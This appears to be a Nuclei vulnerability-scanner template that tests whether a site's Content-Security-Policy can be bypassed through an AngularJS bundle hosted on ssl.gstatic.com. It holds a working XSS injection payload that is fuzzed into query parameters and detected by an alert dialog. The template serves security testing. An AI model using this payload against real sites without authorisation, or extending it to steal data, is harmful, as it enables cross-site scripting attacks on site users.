id: gstatic-ssl-csp-bypass
info:
name: Content-Security-Policy Bypass - GStatic SSL
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,gstatic-ssl,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "gstatic.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: gstatic_ssl_csp_xss
args:
max-duration: 5s
payloads:
injection:
- <body ng-app ng-csp><script src="//ssl.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "gstatic_ssl_csp_xss == true"
# digest: 4b0a00483046022100edf579b2dfeab835f5a74022f5fddb19fee927cffbd3c2f37fff3a1a4d12c9f9022100953c06e125fff02d140a3c0314a99e74542e465b52585cd3ee25e3b63f3d90dd:922c64590222798bb761d5b6d8e72950